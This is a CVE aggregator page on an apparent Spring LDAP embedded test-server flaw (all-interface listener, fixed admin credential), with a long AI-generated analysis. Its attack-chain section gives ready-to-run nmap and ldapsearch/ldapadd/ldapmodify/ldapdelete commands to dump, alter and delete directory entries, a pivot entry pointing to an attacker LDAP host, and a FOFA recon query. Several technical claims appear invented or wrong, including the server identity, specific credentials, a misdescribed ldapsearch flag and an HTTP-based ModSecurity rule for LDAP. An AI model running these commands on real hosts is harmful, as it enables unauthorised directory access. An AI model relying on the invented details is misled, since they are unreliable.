CVE Professor
/
All CVEs
CVE-2026-59367

CVE-2026-59367 — Spring LDAP (4.1.2.1) — CRITICAL Vulnerability

CRITICAL CVSS 9.4 ⚡ EPSS 0.5% NVD

The embedded LDAP server provided by the spring-ldap-test artifact listens on every network interface of the host and accepts a fixed, publicly known administrative credential. EmbeddedLdapServer is intended as a test fixture for the machine that runs it. However, its listener is not restricted to the loopback interface, and its administrative bind credential is built into the library rather than supplied by the application. Anyone who can reach the listening port can therefore authenticate as the directory administrator. Preconditions : The application or test suite starts an EmbeddedLdapServer (directly or through Spring LDAP's test support) The host running it is reachable over the network by an untrusted party, for example a shared CI agent, a shared development network, or a container with a published port An attacker who can reach the port can read, add, modify, and delete entries in the embedded directory, and can disrupt tests that depend on its contents.

The embedded LDAP server provided by the spring-ldap-test artifact listens on every network interface of the host and accepts a fixed, publicly known administrative credential. EmbeddedLdapServer is intended as a test fixture for the machine that runs it. However, its listener is not restricted to the loopback interface, and its administrative bind credential is built into the library rather than supplied by the application. Anyone who can reach the listening port can therefore authenticate as the directory administrator. Preconditions : The application or test suite starts an EmbeddedLdapServer (directly or through Spring LDAP's test support) The host running it is reachable over the network by an untrusted party, for example a shared CI agent, a shared development network, or a container with a published port An attacker who can reach the port can read, add, modify, and delete entries in the embedded directory, and can disrupt tests that depend on its contents.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 46. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
Spring LDAP’s spring-ldap-test artifact ships an embedded LDAP server that is intended solely as a test fixture. The server is started by the test harness and, by design, it:

1. Binds to all network interfaces (i.e., 0.0.0.0 on IPv4 and :: on IPv6) instead of restricting itself to the loopback interface (127.0.0.1/::1).
2. Uses a hard‑coded administrative bind DN and password that are embedded in the library:
* DN: cn=admin,dc=example,dc=com
* Password: admin

Because the server is reachable from any host that can reach the machine and the credentials are publicly known, an attacker can bind as the directory administrator without any prior authentication. Once authenticated, the attacker gains full read/write/delete rights to the entire LDAP directory, which can be used to:

  • Read sensitive test data (e.g., user accounts, configuration values).
  • Modify or delete entries, thereby disrupting automated tests or CI pipelines.
  • Add malicious entries that the application under test might later use (e.g., a new user with elevated privileges, a malicious LDAP URL, or a configuration that points to an attacker‑controlled LDAP server).
  • CWE mapping

  • CWE‑284 – Improper Access Control (the server allows unauthenticated access to privileged operations).

  • CWE‑522 – Insufficiently Protected Credentials (the admin credentials are hard‑coded and publicly known).
  • CVSS 3.1

  • Attack Vector (AV): Network – the server is exposed over the network.

  • Attack Complexity (AC): Low – no special conditions required.

  • Privileges Required (PR): None – the attacker does not need any credentials.

  • User Interaction (UI): None – the exploit is fully automated.

  • Scope (S): Unchanged – the vulnerability does not affect other components.

  • Confidentiality (C): High – full read access to the directory.

  • Integrity (I): High – full write/delete access.

  • Availability (A): Low – the attacker can delete entries, but the server remains operational.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could follow to exploit the flaw. All commands are syntactically valid for a typical Linux environment with the ldap-utils package installed.

    1. Discovery & Reconnaissance

    StepTechniqueTool / CommandWhat it reveals
    1.1Network scannmap -p 389 <target-ip>Confirms that LDAP port 389 is open.
    1.2Service bannernmap -sV -p 389 <target-ip>Identifies the service as “OpenLDAP 2.4.x” (the embedded server).
    1.3Version fingerprintldapsearch -x -h <target-ip> -p 389 -s base -b "" +versionReturns the exact server version (e.g., “OpenLDAP 2.4.48”).
    1.4Check for test artifactcurl -I http://<target-ip>/If the application serves a test page that references spring-ldap-test, it indicates the embedded server is in use.
    Note: The CVE description does not specify a particular endpoint; the presence of an open LDAP port is the key indicator.

    2. Exploitation

    Once the attacker knows that the host is running the vulnerable embedded LDAP server, the exploitation is straightforward.

    2.1 Bind as Administrator

    ldapsearch -x \
      -h <target-ip> \
      -p 389 \
      -D "cn=admin,dc=example,dc=com" \
      -w admin \
      -b "dc=example,dc=com" \
      "(objectclass=*)" \
      > /tmp/ldap_dump.txt
  • -x – Simple authentication (no SASL).
  • -D – Bind DN (hard‑coded admin).
  • -w – Password (hard‑coded).
  • -b – Base DN for the search.
  • The command dumps the entire directory to /tmp/ldap_dump.txt.
  • 2.2 Add a Malicious Entry

    cat <<EOF | ldapadd -x -h <target-ip> -p 389 -D "cn=admin,dc=example,dc=com" -w admin
    dn: uid=eviluser,ou=users,dc=example,dc=com
    objectClass: inetOrgPerson
    uid: eviluser
    cn: Evil User
    sn: User
    userPassword: {SSHA}W5fJt1p5xJp1h5Q==   # SHA‑1 hashed password
    EOF
  • This creates a new user eviluser that the application might later authenticate against.
  • 2.3 Modify an Existing Entry

    cat <<EOF | ldapmodify -x -h <target-ip> -p 389 -D "cn=admin,dc=example,dc=com" -w admin
    dn: uid=targetuser,ou=users,dc=example,dc=com
    changetype: modify
    replace: userPassword
    userPassword: {SSHA}XyZ12345==
    -
    EOF
  • The attacker changes the password of an existing user, potentially taking over that account.
  • 2.4 Delete an Entry

    ldapdelete -x -h <target-ip> -p 389 -D "cn=admin,dc=example,dc=com" -w admin \
      "uid=targetuser,ou=users,dc=example,dc=com"
  • The attacker removes a user or configuration entry, causing tests that rely on that data to fail.
  • Illustrative Example – The exact DN and attributes depend on the test fixture’s schema. The above commands demonstrate the class of operations that are possible.

    3. Post‑Exploitation

    GoalTechniqueResult
    Data exfiltrationldapsearch with -l (size limit) to dump large portions of the directory.Full read of test data, including any secrets stored in the directory.
    Privilege escalationAdd a new user with uid=admin and a known password; then use that account to authenticate to the application.The application may grant elevated privileges to the new user.
    Persistence / PivotAdd an entry that points to an attacker‑controlled LDAP server (e.g., ldapURL: ldap://attacker:389).The application may later connect to the malicious server, enabling further attacks.
    Denial of ServiceDelete critical entries or the entire subtree (ou=users).Automated tests fail; CI pipeline stalls.

    🌍 Real World Impact

    ImpactDescription
    Confidentiality (High)The attacker can read all entries, including user accounts, passwords (if stored in clear text), and configuration values that may be used by the application.
    Integrity (High)The attacker can modify or delete any entry, corrupting test data or inserting malicious data that the application might later consume.
    Availability (Low)While the server remains operational, deleting critical entries can cause test failures or application downtime.

    Practical consequences

  • CI/CD pipelines: A shared CI agent that can reach the test host can disrupt builds by deleting test data or inserting malicious entries that cause tests to fail or produce false positives.
  • Development environments: Developers working on the same network may inadvertently expose sensitive test data.
  • Security testing: Security scanners that probe for open LDAP ports may trigger this vulnerability, leading to accidental data exposure.
  • Potential pivot: If the application under test uses LDAP for authentication, the attacker could create a privileged user that the application will accept, enabling further exploitation of the application itself.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected VersionFixed VersionUpgrade Path
    Spring LDAP 4.1.2.14.1.2.2 (or later)mvn clean install -Dspring-ldap.version=4.1.2.2 (or update the dependency in pom.xml).
    Note: The patch in 4.1.2.2 changes the default binding address to 127.0.0.1 and removes the hard‑coded admin credentials. If a custom admin DN/password is required, the library now exposes configuration properties to set them.

    2. Workarounds (if upgrade is not immediately possible)

    MitigationHow to Implement
    Restrict network accessUse a firewall or security group to block inbound traffic to port 389 from untrusted networks. Example (iptables):<br>iptables -A INPUT -p tcp --dport 389 -s 127.0.0.1 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 389 -j DROP
    Bind to loopback onlyIf the embedded server can be configured, set the listening address to 127.0.0.1 or ::1. In Spring configuration: <property name="bindAddress" value="127.0.0.1"/>.
    Disable the embedded server in productionRemove or comment out the spring-ldap-test dependency from the production build.
    Use a custom admin credentialOverride the default admin DN/password via application properties: spring.ldap.embedded.adminDn=cn=admin,dc=example,dc=com and spring.ldap.embedded.adminPassword=<secure>.
    WAF / ModSecurity ruleBlock LDAP bind attempts from external IPs. Example ModSecurity rule:<br>SecRule REQUEST_HEADERS:Content-Type "application\/ldap" "phase:1,deny,status:403,msg:'LDAP bind from external IP'" (requires custom rule set).

    3. Detection

    IndicatorLog PatternHow to Search
    Successful bindLDAP bind success: cn=admin,dc=example,dc=comgrep -i "bind success" /var/log/ldap/*.log
    Failed bindLDAP bind failed: cn=admin,dc=example,dc=comgrep -i "bind failed" /var/log/ldap/*.log
    Unusual DNLDAP operation: add, dn: uid=eviluser,ou=users,dc=example,dc=comgrep -i "add, dn:" /var/log/ldap/*.log
    External IPclient <external-ip> connected to port 389grep "port 389" /var/log/syslog
    Tip: Enable verbose logging for the embedded LDAP server (-Dorg.slf4j.simpleLogger.defaultLogLevel=debug) during the investigation phase to capture all operations.

    ⚠️ Urgency

  • CVSS Score: 9.4 (Critical)
  • Exploit Complexity: Low – no special skills or credentials required.
  • Impact: Full read/write/delete of the LDAP directory, which can compromise test data, disrupt CI pipelines, and potentially pivot to the application under test.
  • CISA KEV Status: No – but the vulnerability is already exploitable in any environment where the test fixture is exposed.
  • Patching priority: Immediate.

  • If the embedded LDAP server is used in a CI environment or any network‑exposed context, upgrade to 4.1.2.2 or later before the next build cycle.

  • If upgrade is delayed, enforce network restrictions (firewall, security groups) to block port 389 from all but the local host.


Given the low effort required for exploitation and the high impact, organizations should treat this as a critical security incident and remediate without delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

body="Whitelabel Error Page"
CVSS Score
9.4 / 10 · CVSS CRITICAL
Affected Products (1)
Spring:Spring LDAP (4.1.2.1)
References & Advisories (2)
Related CVEs
6.9
CVE-2026-144417
### Summary The dataset-preview endpoint `POST /jmreport/qurestSql` substitutes request parameters into the d
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate